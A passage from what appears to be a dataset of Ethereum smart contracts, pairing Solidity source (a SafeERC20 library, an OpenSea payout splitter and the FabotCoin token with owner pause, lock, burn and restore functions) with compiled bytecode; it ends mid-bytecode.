the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract OpenseaPayoutsReceiver { using SafeERC20 for IERC20; address payable[] public ownerList; mapping(address => bool) owners; constructor(address payable[] memory _owners) { ownerList = _owners; } receive () external payable { uint256 payoutEach = msg.value / ownerList.length; for (uint256 i = 0; i < ownerList.length; i++) { ownerList[i].transfer(payoutEach); } } function rescueERC20(address token) external { uint256 payoutEach = IERC20(token).balanceOf(address(this)) / ownerList.length; for (uint256 i = 0; i < ownerList.length; i++) { IERC20(token).safeTransfer(ownerList[i], payoutEach); } } }
0x60806040526004361061002d5760003560e01c8063ccec37161461011d578063def79ab51461014657610118565b36610118576000808054905034610044919061092a565b905060005b6000805490508110156101145760008181548110610090577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610100573d6000803e3d6000fd5b50808061010c906109e8565b915050610049565b5050005b600080fd5b34801561012957600080fd5b50610144600480360381019061013f919061065c565b610183565b005b34801561015257600080fd5b5061016d600480360381019061016891906106ae565b6102d6565b60405161017a9190610832565b60405180910390f35b600080805490508273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101c39190610817565b60206040518083038186803b1580156101db57600080fd5b505afa1580156101ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061021391906106d7565b61021d919061092a565b905060005b6000805490508110156102d1576102be6000828154811061026c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838573ffffffffffffffffffffffffffffffffffffffff166103159092919063ffffffff16565b80806102c9906109e8565b915050610222565b505050565b600081815481106102e657600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6103968363a9059cbb60e01b848460405160240161033492919061084d565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061039b565b505050565b60006103fd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166104629092919063ffffffff16565b905060008151111561045d578080602001905181019061041d9190610685565b61045c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610453906108d8565b60405180910390fd5b5b505050565b6060610471848460008561047a565b90509392505050565b6060824710156104bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b690610898565b60405180910390fd5b6104c88561058e565b610507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fe906108b8565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516105309190610800565b60006040518083038185875af1925050503d806000811461056d576040519150601f19603f3d011682016040523d82523d6000602084013e610572565b606091505b50915091506105828282866105a1565b92505050949350505050565b600080823b905060008111915050919050565b606083156105b157829050610601565b6000835111156105c45782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190610876565b60405180910390fd5b9392505050565b60008135905061061781610b67565b92915050565b60008151905061062c81610b7e565b92915050565b60008135905061064181610b95565b92915050565b60008151905061065681610b95565b92915050565b60006020828403121561066e57600080fd5b600061067c84828501610608565b91505092915050565b60006020828403121561069757600080fd5b60006106a58482850161061d565b91505092915050565b6000602082840312156106c057600080fd5b60006106ce84828501610632565b91505092915050565b6000602082840312156106e957600080fd5b60006106f784828501610647565b91505092915050565b6107098161096d565b82525050565b6107188161095b565b82525050565b6000610729826108f8565b610733818561090e565b93506107438185602086016109b5565b80840191505092915050565b600061075a82610903565b6107648185610919565b93506107748185602086016109b5565b61077d81610a8f565b840191505092915050565b6000610795602683610919565b91506107a082610aa0565b604082019050919050565b60006107b8601d83610919565b91506107c382610aef565b602082019050919050565b60006107db602a83610919565b91506107e682610b18565b604082019050919050565b6107fa816109ab565b82525050565b600061080c828461071e565b915081905092915050565b600060208201905061082c600083018461070f565b92915050565b60006020820190506108476000830184610700565b92915050565b6000604082019050610862600083018561070f565b61086f60208301846107f1565b9392505050565b60006020820190508181036000830152610890818461074f565b905092915050565b600060208201905081810360008301526108b181610788565b9050919050565b600060208201905081810360008301526108d1816107ab565b9050919050565b600060208201905081810360008301526108f1816107ce565b9050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610935826109ab565b9150610940836109ab565b9250826109505761094f610a60565b5b828204905092915050565b60006109668261098b565b9050919050565b60006109788261098b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156109d35780820151818401526020810190506109b8565b838111156109e2576000848401525b50505050565b60006109f3826109ab565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610a2657610a25610a31565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610b708161095b565b8114610b7b57600080fd5b50565b610b878161097f565b8114610b9257600080fd5b50565b610b9e816109ab565b8114610ba957600080fd5b5056fea2646970667358221220fa3f03322b3c008aa3b0de3646fd869667936932124122268f38beb10d442c2b64736f6c63430008040033
{"success": true, "error": null, "results": {}}
7,349
0xc4a0ab20f1901c24740e06966cca9d5f2e5d5e79
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract Token is ERC20, Pausable { struct sUserInfo { uint256 balance; bool lock; mapping(address => uint256) allowed; } using SafeMath for uint256; string public name; string public symbol; uint256 public decimals; uint256 public totalSupply; bool public restoreFinished = false; mapping(address => sUserInfo) user; event Mint(uint256 value); event Burn(uint256 value); event RestoreFinished(); modifier canRestore() { require(!restoreFinished); _; } function () public payable { revert(); } function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal { require(_to != address(this)); require(_to != address(0)); require(user[_from].balance >= _value); if(_lockCheck) { require(user[_from].lock == false); } } function lock(address _owner) public onlyOwner returns (bool) { require(user[_owner].lock == false); user[_owner].lock = true; return true; } function unlock(address _owner) public onlyOwner returns (bool) { require(user[_owner].lock == true); user[_owner].lock = false; return true; } function burn(address _to, uint256 _value) public onlyOwner returns (bool) { require(_value <= user[_to].balance); user[_to].balance = user[_to].balance.sub(_value); totalSupply = totalSupply.sub(_value); Burn(_value); return true; } function distribute(address _to, uint256 _value) public onlyOwner returns (bool) { validTransfer(msg.sender, _to, _value, false); user[msg.sender].balance = user[msg.sender].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { require(_value > 0); user[msg.sender].allowed[_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { validTransfer(_from, _to, _value, true); require(_value <= user[_from].allowed[msg.sender]); user[_from].balance = user[_from].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); user[_from].allowed[msg.sender] = user[_from].allowed[msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { validTransfer(msg.sender, _to, _value, true); user[msg.sender].balance = user[msg.sender].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); Transfer(msg.sender, _to, _value); return true; } function transferRestore(address _from, address _to, uint256 _value) public onlyOwner canRestore returns (bool) { validTransfer(_from, _to, _value, false); user[_from].balance = user[_from].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); Transfer(_from, _to, _value); return true; } function finishRestore() public onlyOwner returns (bool) { restoreFinished = true; RestoreFinished(); return true; } function totalSupply() public view returns (uint256) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256) { return user[_owner].balance; } function lockState(address _owner) public view returns (bool) { return user[_owner].lock; } function allowance(address _owner, address _spender) public view returns (uint256) { return user[_owner].allowed[_spender]; } } contract LockBalance is Ownable { enum eLockType {None, Individual, GroupA, GroupB, GroupC, GroupD} struct sGroupLockDate { uint256[] lockTime; uint256[] lockPercent; } struct sLockInfo { uint256[] lockType; uint256[] lockBalanceStandard; uint256[] startTime; uint256[] endTime; } using SafeMath for uint256; mapping(uint => sGroupLockDate) groupLockDate; mapping(address => sLockInfo) lockUser; event Lock(address indexed from, uint256 value, uint256 endTime); function setLockUser(address _to, eLockType _lockType, uint256 _value, uint256 _endTime) internal { lockUser[_to].lockType.push(uint256(_lockType)); lockUser[_to].lockBalanceStandard.push(_value); lockUser[_to].startTime.push(now); lockUser[_to].endTime.push(_endTime); Lock(_to, _value, _endTime); } function lockBalanceGroup(address _owner, uint _index) internal view returns (uint256) { uint256 percent = 0; uint256 key = uint256(lockUser[_owner].lockType[_index]); uint256 time = 99999999999; for(uint256 i = 0 ; i < groupLockDate[key].lockTime.length; i++) { if(now < groupLockDate[key].lockTime[i]) { if(groupLockDate[key].lockTime[i] < time) { time = groupLockDate[key].lockTime[i]; percent = groupLockDate[key].lockPercent[i]; } } } if(percent == 0){ return 0; } else { return lockUser[_owner].lockBalanceStandard[_index].div(100).mul(uint256(percent)); } } function lockBalanceIndividual(address _owner, uint _index) internal view returns (uint256) { if(now < lockUser[_owner].endTime[_index]) { return lockUser[_owner].lockBalanceStandard[_index]; } else { return 0; } } function clearLockUser(address _owner, uint _index) onlyOwner public { require(lockUser[_owner].endTime.length >_index); lockUser[_owner].endTime[_index] = 0; } function addLockDate(eLockType _lockType, uint256 _second, uint256 _percent) onlyOwner public { sGroupLockDate storage lockInfo = groupLockDate[uint256(_lockType)]; bool isExists = false; for(uint256 i = 0; i < lockInfo.lockTime.length; i++) { if(lockInfo.lockTime[i] == _second) { revert(); break; } } if(isExists) { revert(); } else { lockInfo.lockTime.push(_second); lockInfo.lockPercent.push(_percent); } } function deleteLockDate(eLockType _lockType, uint256 _lockTime) onlyOwner public { sGroupLockDate storage lockDate = groupLockDate[uint256(_lockType)]; bool isExists = false; uint256 index = 0; for(uint256 i = 0; i < lockDate.lockTime.length; i++) { if(lockDate.lockTime[i] == _lockTime) { isExists = true; index = i; break; } } if(isExists) { for(uint256 k = index; k < lockDate.lockTime.length - 1; k++){ lockDate.lockTime[k] = lockDate.lockTime[k + 1]; lockDate.lockPercent[k] = lockDate.lockPercent[k + 1]; } delete lockDate.lockTime[lockDate.lockTime.length - 1]; lockDate.lockTime.length--; delete lockDate.lockPercent[lockDate.lockPercent.length - 1]; lockDate.lockPercent.length--; } else { revert(); } } function lockTypeInfoGroup(eLockType _type) public view returns (uint256[], uint256[]) { uint256 key = uint256(_type); return (groupLockDate[key].lockTime, groupLockDate[key].lockPercent); } function lockUserInfo(address _owner) public view returns (uint256[], uint256[], uint256[], uint256[], uint256[]) { uint256[] memory balance = new uint256[](lockUser[_owner].lockType.length); for(uint256 i = 0; i < lockUser[_owner].lockType.length; i++){ if(lockUser[_owner].lockType[i] == uint256(eLockType.Individual)) { balance[i] = balance[i].add(lockBalanceIndividual(_owner, i)); } else if(lockUser[_owner].lockType[i] != uint256(eLockType.None)) { balance[i] = balance[i].add(lockBalanceGroup(_owner, i)); } } return (lockUser[_owner].lockType, lockUser[_owner].lockBalanceStandard, balance, lockUser[_owner].startTime, lockUser[_owner].endTime); } function lockBalanceAll(address _owner) public view returns (uint256) { uint256 lockBalance = 0; for(uint256 i = 0; i < lockUser[_owner].lockType.length; i++){ if(lockUser[_owner].lockType[i] == uint256(eLockType.Individual)) { lockBalance = lockBalance.add(lockBalanceIndividual(_owner, i)); } else if(lockUser[_owner].lockType[i] != uint256(eLockType.None)) { lockBalance = lockBalance.add(lockBalanceGroup(_owner, i)); } } return lockBalance; } } contract FabotCoin is Token, LockBalance { function FabotCoin() public { name = "FABOT"; symbol = "FC"; decimals = 18; uint256 initialSupply = 4000000000; totalSupply = initialSupply * 10 ** uint(decimals); user[owner].balance = totalSupply; Transfer(address(0), owner, totalSupply); //addLockDate(eLockType.GroupA, 9999999999, 100);//2286-11-21 } function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal { super.validTransfer(_from, _to, _value, _lockCheck); if(_lockCheck) { require(_value <= useBalanceOf(_from)); } } function setLockUsers(eLockType _type, address[] _to, uint256[] _value, uint256[] _endTime) onlyOwner public { require(_to.length > 0); require(_to.length == _value.length); require(_to.length == _endTime.length); require(_type != eLockType.None); for(uint256 i = 0; i < _to.length; i++){ require(_value[i] <= useBalanceOf(_to[i])); setLockUser(_to[i], _type, _value[i], _endTime[i]); } } function useBalanceOf(address _owner) public view returns (uint256) { return balanceOf(_owner).sub(lockBalanceAll(_owner)); } }
0x606060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063015d200f1461018557806305c7400a146101d257806306fdde03146101ff5780630789a3131461028d578063095ea7b3146102bc57806318160ddd1461031657806323b872dd1461033f5780632f6c493c146103b8578063313ce567146104095780633f4ba83a146104325780634149953d146104475780635c975abb146104c057806369132d43146104ed57806370a082311461053a5780638456cb59146105875780638da5cb5b1461059c5780638e283334146105f157806390e99b09146106b457806394dbc70e146106e157806395d89b41146107325780639846d9de146107c05780639a713d05146108a65780639dc29fac146108de578063a26a1bc914610938578063a9059cbb1461097a578063ac1a7175146109d4578063dd62ed3e14610b82578063f2fde38b14610bee578063f435f5a714610c27578063fb93210814610c78575b600080fd5b341561019057600080fd5b6101bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cd2565b6040518082815260200191505060405180910390f35b34156101dd57600080fd5b6101e5610e63565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b610212610e76565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610252578082015181840152602081019050610237565b50505050905090810190601f16801561027f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561029857600080fd5b6102ba600480803560ff16906020019091908035906020019091905050610f14565b005b34156102c757600080fd5b6102fc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611130565b604051808215151515815260200191505060405180910390f35b341561032157600080fd5b61032961124f565b6040518082815260200191505060405180910390f35b341561034a57600080fd5b61039e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611259565b604051808215151515815260200191505060405180910390f35b34156103c357600080fd5b6103ef600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115cc565b604051808215151515815260200191505060405180910390f35b341561041457600080fd5b61041c6116ef565b6040518082815260200191505060405180910390f35b341561043d57600080fd5b6104456116f5565b005b341561045257600080fd5b6104a6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117b3565b604051808215151515815260200191505060405180910390f35b34156104cb57600080fd5b6104d36119df565b604051808215151515815260200191505060405180910390f35b34156104f857600080fd5b610524600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119f2565b6040518082815260200191505060405180910390f35b341561054557600080fd5b610571600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a1e565b6040518082815260200191505060405180910390f35b341561059257600080fd5b61059a611a6a565b005b34156105a757600080fd5b6105af611b2a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105fc57600080fd5b610615600480803560ff16906020019091905050611b4f565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561065c578082015181840152602081019050610641565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561069e578082015181840152602081019050610683565b5050505090500194505050505060405180910390f35b34156106bf57600080fd5b6106c7611c49565b604051808215151515815260200191505060405180910390f35b34156106ec57600080fd5b610718600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611cf4565b604051808215151515815260200191505060405180910390f35b341561073d57600080fd5b610745611d4d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561078557808201518184015260208101905061076a565b50505050905090810190601f1680156107b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107cb57600080fd5b6108a4600480803560ff16906020019091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611deb565b005b34156108b157600080fd5b6108dc600480803560ff16906020019091908035906020019091908035906020019091905050611f56565b005b34156108e957600080fd5b61091e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061208d565b604051808215151515815260200191505060405180910390f35b341561094357600080fd5b610978600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612232565b005b341561098557600080fd5b6109ba600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612344565b604051808215151515815260200191505060405180910390f35b34156109df57600080fd5b610a0b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612513565b60405180806020018060200180602001806020018060200186810386528b818151815260200191508051906020019060200280838360005b83811015610a5e578082015181840152602081019050610a43565b5050505090500186810385528a818151815260200191508051906020019060200280838360005b83811015610aa0578082015181840152602081019050610a85565b50505050905001868103845289818151815260200191508051906020019060200280838360005b83811015610ae2578082015181840152602081019050610ac7565b50505050905001868103835288818151815260200191508051906020019060200280838360005b83811015610b24578082015181840152602081019050610b09565b50505050905001868103825287818151815260200191508051906020019060200280838360005b83811015610b66578082015181840152602081019050610b4b565b505050509050019a505050505050505050505060405180910390f35b3415610b8d57600080fd5b610bd8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506129f2565b6040518082815260200191505060405180910390f35b3415610bf957600080fd5b610c25600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612a7c565b005b3415610c3257600080fd5b610c5e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612bd1565b604051808215151515815260200191505060405180910390f35b3415610c8357600080fd5b610cb8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612cf4565b604051808215151515815260200191505060405180910390f35b6000806000809150600090505b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000180549050811015610e595760016005811115610d3957fe5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000182815481101515610d8857fe5b9060005260206000209001541415610dbd57610db6610da78583612f03565b83612fd490919063ffffffff16565b9150610e4c565b60006005811115610dca57fe5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000182815481101515610e1957fe5b906000526020600020900154141515610e4b57610e48610e398583612ff2565b83612fd490919063ffffffff16565b91505b5b8080600101915050610cdf565b8192505050919050565b600560009054906101000a900460ff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f0c5780601f10610ee157610100808354040283529160200191610f0c565b820191906000526020600020905b815481529060010190602001808311610eef57829003601f168201915b505050505081565b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7757600080fd5b60076000886005811115610f8757fe5b815260200190815260200160002094506000935060009250600091505b8460000180549050821015610ff057858560000183815481101515610fc557fe5b9060005260206000209001541415610fe35760019350819250610ff0565b8180600101925050610fa4565b8315611122578290505b600185600001805490500381101561109957846000016001820181548110151561102057fe5b906000526020600020900154856000018281548110151561103d57fe5b906000526020600020900181905550846001016001820181548110151561106057fe5b906000526020600020900154856001018281548110151561107d57fe5b9060005260206000209001819055508080600101915050610ffa565b8460000160018660000180549050038154811015156110b457fe5b906000526020600020900160009055846000018054809190600190036110da91906135e5565b508460010160018660010180549050038154811015156110f657fe5b9060005260206000209001600090558460010180548091906001900361111c91906135e5565b50611127565b600080fd5b50505050505050565b60008060149054906101000a900460ff1615151561114d57600080fd5b60008211151561115c57600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b60008060149054906101000a900460ff1615151561127657600080fd5b6112838484846001613204565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561131157600080fd5b61136682600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461323490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555061140182600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154612fd490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506114d982600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461323490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561162957600080fd5b60011515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16151514151561168b57600080fd5b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548160ff02191690831515021790555060019050919050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175057600080fd5b600060149054906101000a900460ff16151561176b57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561181057600080fd5b600560009054906101000a900460ff1615151561182c57600080fd5b6118398484846000613204565b61188e82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461323490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555061192982600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154612fd490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600060149054906101000a900460ff1681565b6000611a17611a0083610cd2565b611a0984611a1e565b61323490919063ffffffff16565b9050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ac557600080fd5b600060149054906101000a900460ff16151515611ae157600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611b57613611565b611b5f613611565b6000836005811115611b6d57fe5b9050600760008281526020019081526020016000206000016007600083815260200190815260200160002060010181805480602002602001604051908101604052809291908181526020018280548015611be657602002820191906000526020600020905b815481526020019060010190808311611bd2575b5050505050915080805480602002602001604051908101604052809291908181526020018280548015611c3857602002820191906000526020600020905b815481526020019060010190808311611c24575b505050505090509250925050915091565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffffffffffffffff